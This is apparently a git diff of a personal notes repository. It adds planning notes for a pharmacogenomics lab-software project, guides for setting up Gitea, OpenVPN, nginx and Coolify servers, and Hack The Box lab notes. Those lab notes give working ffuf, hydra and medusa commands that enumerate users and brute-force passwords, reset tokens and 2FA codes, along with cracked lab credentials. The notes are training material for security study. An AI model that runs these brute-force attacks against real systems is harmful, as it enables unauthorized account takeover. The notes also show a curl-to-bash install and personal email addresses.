LIMS built into it so we +- originally thought MUSC would need the LIMS but ActX +- MUSC is now just pushing to ActX LIMS/Reporting (it was push and pull) +- ActX can host the software +- Still thinking about either acquiring or making our own Reporting/LIMS +- We want to avoid EHR/EMR because it's expensive +- SmartDoseRX needs a great interface that's user friendly (this is likely 2nd/3rd phase) +- \ No newline at end of file diff --git a/projects/smartdoserx/SmartDoseHub.canvas b/projects/smartdoserx/SmartDoseHub.canvas new file mode 100644 index 0000000..4b47e1b --- /dev/null +++ b/projects/smartdoserx/SmartDoseHub.canvas @@ -0,0 +1,9 @@ +{ + "nodes":[ + {"id":"bf02e7ba25a0d338","type":"text","text":"","x":-74,"y":-403,"width":250,"height":60}, + {"id":"da83ff12da506b28","type":"text","text":"SmartDoseRX Hub\n•SmartDoseRx hub will house the LIMS software to push/pull orders and raw data from the lab.\n\n•Genomic database and reporting software to be housed in SD Hub\n\n•Patient genetics information to be stored in SD Hub\n\n•Claims and clinical outcomes data to be stored in SD Hub","x":-289,"y":-220,"width":680,"height":380} + ], + "edges":[ + {"id":"87a5830bfad976a7","fromNode":"da83ff12da506b28","fromSide":"top","toNode":"bf02e7ba25a0d338","toSide":"bottom"} + ] +} \ No newline at end of file diff --git a/projects/smartdoserx/SmartDoseRX Oct. 10 2025.md b/projects/smartdoserx/SmartDoseRX Oct. 10 2025.md new file mode 100644 index 0000000..a43c1d2 --- /dev/null +++ b/projects/smartdoserx/SmartDoseRX Oct. 10 2025.md @@ -0,0 +1,55 @@ +## SmartDoseRX Hub + +### Workflows + +### Functions +- House LMS to push/pull orders and data from lab +### Integrations +##### Payor or Plan + +##### Pharmacy Benefit Manager + +##### Retail Pharmacy + +##### Lab + + +precision molecular +https://precisiongenetics.com/solutions/aina/ +https://precisiongenetics.com/solutions/neuropharmagen/ + +eventually own our own LIMS and reporting software and genomics data + + +Phase 1-2: just getting LIMS and reporting for us + +Things are working in precision molecular. By Jan-Feb they want money + +What do Reports look like? +- ActX is doing it right now +- We'll license/acquire them +- They have a genomic database +- They will help the provider with Rx's with genetic efficacy +- patients + +Reporting software options: +option A: ActX (leaning toward ActX) +pros is it's better. it's what we want right now +cons they may not be open to selling it to us (what will it cost) + +option B MUSC/ aina: +cons it's not as good and only works on a limited number of drugs +pros +acquisition cost would be a lot less + +Timeline to host LIMS and reporting +Start with ovation MUSC. We want to use their LIMS + +there is a company that has infrastructure that's secure/HIPPA (https://www.dcblox.com/) + +Questions for me: +- What are they? +- How do they work? +- How long will it take to get them up and running? + +1 \ No newline at end of file diff --git a/projects/smartdoserx/high level break down.md b/projects/smartdoserx/high level break down.md new file mode 100644 index 0000000..d74401c --- /dev/null +++ b/projects/smartdoserx/high level break down.md @@ -0,0 +1,32 @@ +Here’s the high-level breakdown: ### Infrastructure Setup + +- Establish AWS account and required services +- 20 hours +- Ready Week 1 + +### Database + Data Model + +- Build foundational data model and database to support patient analytics, real-time alerting, and future AI-driven use cases +- 20 hours +- Ready Week 2 + +### Lab UI + +- Full interface for the lab team: view orders, accession samples, manage billing, upload genetic results, review/signout reports, export aggregate data +- Includes collaboration with Jeremy + lab team +- 50 hours +- Ready Week 4 + +### ActX Integration + +- Submit raw genetic data + patient/sample info +- Receive PGx report back +- 30 hours +- Ready Week 5 + +### Ordering Provider UI + +- Interface for providers to enter patient demographics, insurance-required fields, sample details, and access completed reports +- Includes feedback cycles with early adopters +- 60 hours +- Ready Week 8 \ No newline at end of file diff --git a/reference.md b/reference/links.md similarity index 100% rename from reference.md rename to reference/links.md diff --git a/reference/security/HTB SQL Injection Fundamentals.md b/reference/security/HTB SQL Injection Fundamentals.md new file mode 100644 index 0000000..e604861 --- /dev/null +++ b/reference/security/HTB SQL Injection Fundamentals.md @@ -0,0 +1,24 @@ +# HTB SQL Injection Fundamentals + +## intro to mysql + + +djelly@htb[/htb]$ mysql -u root -h docker.hackthebox.eu -P 3306 --skip-ssl -p + +mysql> CREATE DATABASE users; +or +mysql> SHOW DATABASES; + +mysql> USE users; + +mysql> CREATE TABLE logins ( + -> id INT, + -> username VARCHAR(100), + -> password VARCHAR(100), + -> date_of_joining DATETIME + -> ); + +SHOW DATABASES; +mysql> SHOW TABLES; + +mysql> DESCRIBE ; diff --git a/reference/security/Password Attacks.md b/reference/security/Password Attacks.md new file mode 100644 index 0000000..f67a27f --- /dev/null +++ b/reference/security/Password Attacks.md @@ -0,0 +1,5 @@ +# Password Attacks + +## John The Ripper + +john --format= diff --git a/reference/security/htb_broken_ authentication.md b/reference/security/htb_broken_ authentication.md new file mode 100644 index 0000000..485bf79 --- /dev/null +++ b/reference/security/htb_broken_ authentication.md @@ -0,0 +1,58 @@ +# Broken Authentication + +## Enumerating Users + +ffuf -w /opt/useful/seclists/Usernames/xato-net-10-million-usernames.txt -u http://172.17.0.2/index.php -X POST -H "Content-Type: application/x-www-form-urlencoded" -d "username=FUZZ&password=invalid" -fr "Unknown user" + +94.237.59.119:54491 + +ffuf -w /opt/useful/seclists/Usernames/xato-net-10-million-usernames.txt -u http://94.237.59.119:54491/index.php -X POST -H "Content-Type: application/x-www-form-urlencoded" -d "username=FUZZ&password=invalid" -fr "Unknown user" + +## Brute-Forcing Passwords + +grep '[[:upper:]]' /usr/share/wordlists/rockyou.txt | grep '[[:lower:]]' | grep '[[:digit:]]' | grep -E '.{10}' > custom_wordlist.txt + +94.237.55.98:31173 +ffuf -w ./custom_wordlist.txt -u http://94.237.55.98:31173/index.php -X POST -H "Content-Type: application/x-www-form-urlencoded" -d "username=admin&password=FUZZ" -fr "Invalid username" + +## Brute-Forcing Password Reset Token + +seq -w 0 9999 > tokens.txt + +ffuf -w ./tokens.txt -u http://94.237.60.154:47607/reset_password.php?token=FUZZ -fr "The provided token is invalid" + +## Brute-Forcing 2fa codes + +ffuf -w ./tokens.txt -u http://94.237.62.147:47987/2fa.php -X POST -H "Content-Type: application/x-www-form-urlencoded" -b "PHPSESSID=gnpl9fatno1bhbegjdirvk70p4" -d "otp=FUZZ" -fr "Invalid 2FA Code + +### Authentication Bypass via Parameter Modification + +seq -w 0 999 > user_ids.txt + +ffuf -w ./user_ids.txt -u http://94.237.51.81:46189/admin.php?user_id=FUZZ -fr "Could not load admin data" + + +75736572 3d 6874622d7374646e743b726f6c653d 75736572 +75736572 3d 6874622d7374646e743b726f6c653d 75736572 + +### assessemtn + +created user + +test q97hjg2khvl28mucpu7r8h6kb8 +admin q97hjg2khvl28mucpu7r8h6kb8 +root q97hjg2khvl28mucpu7r8h6kb8 + +atleast 12 characters no special, atlease 1 number, lower, and upper +0123456789aB + + + + +ffuf -w ./xato-net-10-million-usernames.txt -u http://94.237.62.166:45749/login.php -X POST -H "Content-Type: application/x-www-form-urlencoded" -d "username=FUZZ&password=invalid" -fr "Unknown username or password" + +username is gladys +password is dWinaldasD13 + +ffuf -w tokens.txt -u http://94.237.63.109:42328/2fa.php -X POST -H "Content-Type: application/x-www-form-urlencoded" -b "PHPSESSID=f782dbv49aq0fb6o0iutruripj" -d "otp=FUZZ" -fr "Invalid OTP" +Test0123456789 \ No newline at end of file diff --git a/reference/security/htb_login_brute_forcing.md b/reference/security/htb_login_brute_forcing.md new file mode 100644 index 0000000..e399ec0 --- /dev/null +++ b/reference/security/htb_login_brute_forcing.md @@ -0,0 +1,75 @@ +# HTB Login Brute Forcing + +## Login Forms + + +### Hydra + +hydra basic auth +hydra -l basic-auth-user -P 2023-200_most_used_passwords.txt 127.0.0.1 http-get / -s 81 + +can use hydra to crack passcodes in the login: + +djelly@htb[/htb]$ hydra [options] target http-post-form "path:params:condition_string" + + +I can look for a fail condition like: +hydra ... http-post-form "/login:user=^USER^&pass=^PASS^:F=Invalid credentials" + +Or a success conditions: + +- hydra ... http-post-form "/login:user=^USER^&pass=^PASS^:S=302" # looking for a redirect + +- hydra ... http-post-form "/login:user=^USER^&pass=^PASS^:S=Dashboard" # looking for "Dashboard" + + +### Exercise + +curl -s -O https://raw.githubusercontent.com/danielmiessler/SecLists/master/Usernames/top-usernames-shortlist.txt + +curl -s -O https://raw.githubusercontent.com/danielmiessler/SecLists/master/Passwords/2023-200_most_used_passwords.txt + +hydra -L top-usernames-shortlist.txt -P 2023-200_most_used_passwords.txt -f {Replace with ip} -s {replace with port} http-post-form "/:username=^USER^&password=^PASS^:F=Invalid credentials" + + +hydra -L top-usernames-shortlist.txt -P 2023-200_most_used_passwords.txt -f 83.136.251.254 -s 34996 http-post-form "/:username=^USER^&password=^PASS^:F=Invalid credentials" + + +## Medusa + +medusa -h 192.168.0.100 -U usernames.txt -P passwords.txt -M ssh + +medusa -h -n -u sshuser -P 2023-200_most_used_passwords.txt -M ssh -t 3 + +medusa -h 94.237.59.119 -n 39693 -u sshuser -P 2023-200_most_used_passwords.txt -M ssh -t 3 + + +## Custom Wordlists + +create likely usernames from a persons name: +git clone https://github.com/urbanadventurer/username-anarchy.git +./username-anarchy Jane Smith > jane_smith_usernames.txt + +`cupp -i` +cupp in interactive mode will create lots of passwords from a persons life. + +hydra -L usernames.txt -P jane-filtered.txt IP -s PORT -f http-post-form "/:username=^USER^&password=^PASS^:Invalid credentials" + +: +hydra -L jane_smith_usernames.txt -P jane-filtered.txt 94.237.60.154 -s 46018 -f http-post-form "/:username=^USER^&password=^PASS^:Invalid credentials" + + +## Skill assessment1 + +:56383 +hydra -L usernames.txt -P passwords.txt 94.237.50.94 http-get / -s 56383 +[56383][http-get] host: 94.237.50.94 login: admin password: Admin123 + +## Skill assess2 + +83.136.250.158:39972 +hydra -L usernames.txt -P passwords.txt -s 38376 -V 94.237.50.94 ftp + +hydra -l satwossh -P passwords.txt -s 39972 -V 83.136.250.158 ssh -t 4 + +medusa -M ssh -h 83.136.250.158 -u root -P passwords.txt -n 39972 -t 4 \ No newline at end of file diff --git a/reference/server-setup/Gitea Server.md b/reference/server-setup/Gitea Server.md new file mode 100644 index 0000000..410546f --- /dev/null +++ b/reference/server-setup/Gitea Server.md @@ -0,0 +1,65 @@ +# Gitea Server + +- ChatGPT conversation: https://chatgpt.com/share/672ece16-da60-8009-83de-9b33c08aed6a +- follow the basic ubuntu setup first + +### Install docker + +https://docs.docker.com/engine/install/ubuntu/ + + + +### Docker compose + +``` +version: "3" + +networks: + gitea: + external: false + +services: + server: + image: gitea/gitea:latest + container_name: gitea + environment: + - USER_UID=1000 + - USER_GID=1000 + - GITEA__service__DISABLE_REGISTRATION=true + - GITEA__service__ENABLE_OPENID_SIGNIN=false + - GITEA__service__ENABLE_OPENID_SIGNUP=false + restart: always + networks: + - gitea + volumes: + - ./gitea:/data + - /etc/timezone:/etc/timezone:ro + - /etc/localtime:/etc/localtime:ro + ports: + - "3000:3000" # Gitea web interface + - "2222:22" # Gitea SSH +``` + +### Run docker compose + +`docker-compose up -d` + +`docker exec -it gitea /bin/bash` +`gitea admin user create --username admin --password YourPassword --email admin@example.com --admin` + + +### SQLITE DB +to get into the database + +sqlite3 /data/gitea/gitea.db + +for users, go to the user table + +#### Delete a user + +``` +DELETE FROM user WHERE email = 'donovan.a.kelly@pm.me'; +DELETE FROM email_address WHERE email = 'donovan.a.kelly@pm.me'; +DELETE FROM external_login_user WHERE email = 'donovan.a.kelly@pm.me'; + +``` \ No newline at end of file diff --git a/reference/server-setup/OpenVPN and CA install.md b/reference/server-setup/OpenVPN and CA install.md new file mode 100644 index 0000000..5742f52 --- /dev/null +++ b/reference/server-setup/OpenVPN and CA install.md @@ -0,0 +1,205 @@ +# OpenVPN and CA install + +### sources +- https://www.digitalocean.com/community/tutorials/how-to-set-up-and-configure-an-openvpn-server-on-ubuntu-20-04 +- https://chatgpt.com/share/672b8e75-5a08-8009-9d13-f062d91bfac8 + +### Prereqs + +ubunutu 24 with ufw configured + +### Update/Upgrade +``` +sudo apt update +sudo apt upgrade -y +``` + +### Install OpenVPN and Easy-RSA + + +`sudo apt install openvpn easy-rsa -y` + +### Setup CA +``` +make-cadir ~/openvpn-ca +cd ~/openvpn-ca +``` +``` +vi vars +``` +``` +set_var EASYRSA_REQ_COUNTRY "YourCountry" +set_var EASYRSA_REQ_PROVINCE "YourProvince" +set_var EASYRSA_REQ_CITY "YourCity" +set_var EASYRSA_REQ_ORG "YourOrganization" +set_var EASYRSA_REQ_EMAIL "email@example.com" +set_var EASYRSA_REQ_OU "YourOrganizationalUnit" +``` + +``` +./easyrsa init-pki +./easyrsa build-ca +``` + +add password to ca + +### Generate Certs and Keys + +`./easyrsa gen-req server nopass` + +`./easyrsa sign-req server server` +Type yes and enter ca password + +`./easyrsa gen-dh` + +`openvpn --genkey --secret ta.key` // this is deperacated need update + +### Config OpenVPN Server + +`sudo cp pki/ca.crt pki/private/server.key pki/issued/server.crt pki/dh.pem ta.key /etc/openvpn/` + +`sudo vi /etc/openvpn/server.conf` + +``` +port 1194 +proto udp +dev tun + +ca ca.crt +cert server.crt +key server.key # This file should be kept secret +dh dh.pem +tls-auth ta.key 0 # This file should be kept secret +cipher AES-256-CBC +auth SHA256 + +server 10.8.0.0 255.255.255.0 +ifconfig-pool-persist ipp.txt + +push "route {ip.addr.ess.0 last byte is masked} 255.255.255.0" # Replace with masked ip address + +keepalive 10 120 +persist-key +persist-tun + +user nobody +group nogroup + +status openvpn-status.log +verb 3 +``` + +### Enable IP Forwarding + +`sudo vi /etc/sysctl.conf` +``` +net.ipv4.ip_forward=1 +``` + +`sudo sysctl -p` + +### Config Firewall + +`sudo vi /etc/default/ufw` + +change: `DEFAULT_FORWARD_POLICY="ACCEPT"` + +`sudo vi /etc/ufw/before.rules` + +Replace IP Address: +``` +# START OPENVPN RULES +*nat +:POSTROUTING ACCEPT [0:0] +-A POSTROUTING -s 10.8.0.0/8 -o {ADD IP ADDRESS} -j MASQUERADE +COMMIT +# END OPENVPN RULES +``` + +`sudo ufw allow 1194/udp` +`sudo ufw enable` + +### Start OpenVPN + +``` +sudo systemctl start openvpn@server +sudo systemctl enable openvpn@server +sudo systemctl status openvpn@server +``` + +### Client Config + +``` +mkdir -p ~/client-configs/keys +mkdir -p ~/client-configs/files +``` + +`vi ~/client-configs/base.conf` + +Rplace MY IP ADDRESS +``` +client +dev tun +proto udp +remote {MY IP ADDRESS} 1194 +resolv-retry infinite +nobind + +user nobody +group nogroup + +persist-key +persist-tun + +remote-cert-tls server +cipher AES-256-CBC +auth SHA256 +key-direction 1 +verb 3 +``` + +### Client Certificates and Keys + +`cd ~/openvpn-ca` + +Replace client1 with client_name +``` +./easyrsa gen-req client1 nopass +./easyrsa sign-req client client1 +``` + +`cp pki/ca.crt pki/issued/client1.crt pki/private/client1.key ta.key ~/client-configs/keys/` + +`vi ~/client-configs/make_config.sh` + +### Generate Client Keys +Replace client name +``` +#!/bin/bash + +CLIENT_NAME={client name} + +KEY_DIR=~/client-configs/keys +OUTPUT_DIR=~/client-configs/files +BASE_CONFIG=~/client-configs/base.conf + +mkdir -p $OUTPUT_DIR + +cat ${BASE_CONFIG} \ + <(echo -e '') \ + ${KEY_DIR}/ca.crt \ + <(echo -e '\n') \ + ${KEY_DIR}/${CLIENT_NAME}.crt \ + <(echo -e '\n') \ + ${KEY_DIR}/${CLIENT_NAME}.key \ + <(echo -e '\n') \ + ${KEY_DIR}/ta.key \ + <(echo -e '') \ + > ${OUTPUT_DIR}/${CLIENT_NAME}.ovpn +``` + +`chmod 700 ~/client-configs/make_config.sh` +`./client-configs/make_config.sh` + +### Distribute Client Config +{client name}.ovpn is now available in ~/client-configs/files/. diff --git a/reference/server-setup/hetzner_coolify_setup.md b/reference/server-setup/hetzner_coolify_setup.md new file mode 100644 index 0000000..9a2b781 --- /dev/null +++ b/reference/server-setup/hetzner_coolify_setup.md @@ -0,0 +1,75 @@ +# Hetzner Coolify Setup + +## Sources + +- https://www.youtube.com/watch?v=taJlPG82Ucw&t=56s + + +## Hetzner dashboard setup +- add ssh key + +- add this to cloud init +``` cloud_init.yml +# This config was written for Ubuntu 22.04 +# If you are using a more recent version, see the comments of this gist for fixes +#cloud-config +users: + - name: dkelly + ssh_authorized_keys: + - "ssh-ed25519 AAAAC3NzaC1lZDI1NTE5AAAAIKQWloxYNqNyOw6KKXsQnYPakthlq9gqf5qR1QGR1g6w donovan.a.kelly@pm.me" + sudo: ALL=(ALL:ALL) ALL + groups: sudo + shell: /bin/bash +chpasswd: + expire: true + users: + - name: dkelly + password: replacethispasswordplease + type: text +runcmd: + - sed -i '/PermitRootLogin/d' /etc/ssh/sshd_config + - echo "PermitRootLogin without-password" >> /etc/ssh/sshd_config + - sed -i '/PubkeyAuthentication/d' /etc/ssh/sshd_config + - echo "PubkeyAuthentication yes" >> /etc/ssh/sshd_config + - sed -i '/PasswordAuthentication/d' /etc/ssh/sshd_config + - echo "PasswordAuthentication no" >> /etc/ssh/sshd_config + - systemctl restart sshd + - echo "\$nrconf{kernelhints} = -1;" > /etc/needrestart/conf.d/99disable-prompt.conf + - apt update + - apt upgrade -y --allow-downgrades --allow-remove-essential --allow-change-held-packages + - reboot + ``` + +## Setup +- ssh into root +``` +apt update +apt upgrade +reboot +``` + +- Don't mess with ufw or ssh config or worry about create a sudo user. Do this at the end + + +## Install Coolify + +curl -fsSL https://cdn.coollabs.io/coolify/install.sh | bash + +## Setup +- create username and password. we'll have to change this later because it doesn't use ssl + +- select localhost + +## Lock down the server + +- ssh into dkelly user and change password +- Set the root password `passwd` +- setup ufw + +## Add DNS Records + +-add wildcard * and empty A records + +## Proxy restart + +- might need to restart the proxy for ssh keys to take effect diff --git a/reference/server-setup/nginx on vpn.md b/reference/server-setup/nginx on vpn.md new file mode 100644 index 0000000..8b29cd4 --- /dev/null +++ b/reference/server-setup/nginx on vpn.md @@ -0,0 +1,64 @@ +# Nginx on VPN + +Configure server with OpenVPN and CA + +### Install OpenVPN + +`sudo apt install nginx` + +### nginx config + +`sudo vi /etc/nginx/sites-av.../default` + +``` +server { + listen 10.8.0.1:443 ssl; + # server_name _; # You can omit this line or use '_' + + ssl_certificate /etc/ssl/certs/nginx-selfsigned.crt; + ssl_certificate_key /etc/ssl/private/nginx-selfsigned.key; + + # SSL settings + ssl_protocols TLSv1.2 TLSv1.3; + ssl_ciphers HIGH:!aNULL:!MD5; + ssl_prefer_server_ciphers on; + ssl_session_cache shared:SSL:10m; + ssl_session_timeout 10m; + ssl_session_tickets off; + + # Add Diffie-Hellman parameter for DHE ciphersuites + ssl_dhparam /etc/ssl/certs/dhparam.pem; + + + # Add security headers + add_header Strict-Transport-Security "max-age=63072000; includeSubDomains; preload" always; + add_header X-Content-Type-Options nosniff; + add_header X-Frame-Options DENY; + add_header X-XSS-Protection "1; mode=block"; + + # Reverse proxy settings + location / { + proxy_pass http://:80; + proxy_set_header Host $host; + proxy_set_header X-Real-IP $remote_addr; + proxy_set_header X-Forwarded-For $proxy_add_x_forwarded_for; + proxy_set_header X-Forwarded-Proto $scheme; + } +} +``` + +### SSL Certs + +``` +sudo openssl req -x509 -nodes -days 365 -newkey rsa:2048 \ + -keyout /etc/ssl/private/nginx-selfsigned.key \ + -out /etc/ssl/certs/nginx-selfsigned.crt \ + -subj "/CN=10.8.0.1" +``` + +`sudo openssl dhparam -out /etc/ssl/certs/dhparam.pem 2048` + +``` +sudo nginx -t +sudo systemctl reload nginx +``` \ No newline at end of file diff --git a/development.md b/tasks/development.md similarity index 100% rename from development.md rename to tasks/development.md diff --git a/devops.md b/tasks/devops.md similarity index 100% rename from devops.md rename to tasks/devops.md diff --git a/documentation.md b/tasks/documentation.md similarity index 100% rename from documentation.md rename to tasks/documentation.md diff --git a/ideas.md b/tasks/ideas.md similarity index 100% rename from ideas.md rename to tasks/ideas.md diff --git a/learning.md b/tasks/learning.md similarity index 100% rename from learning.md rename to tasks/learning.md diff --git a/personal.md b/tasks/personal-tasks.md similarity index 100% rename from personal.md rename to tasks/personal-tasks.md diff --git a/wishlist.md b/tasks/wishlist.md similarity index 100% rename from wishlist.md rename to tasks/wishlist.md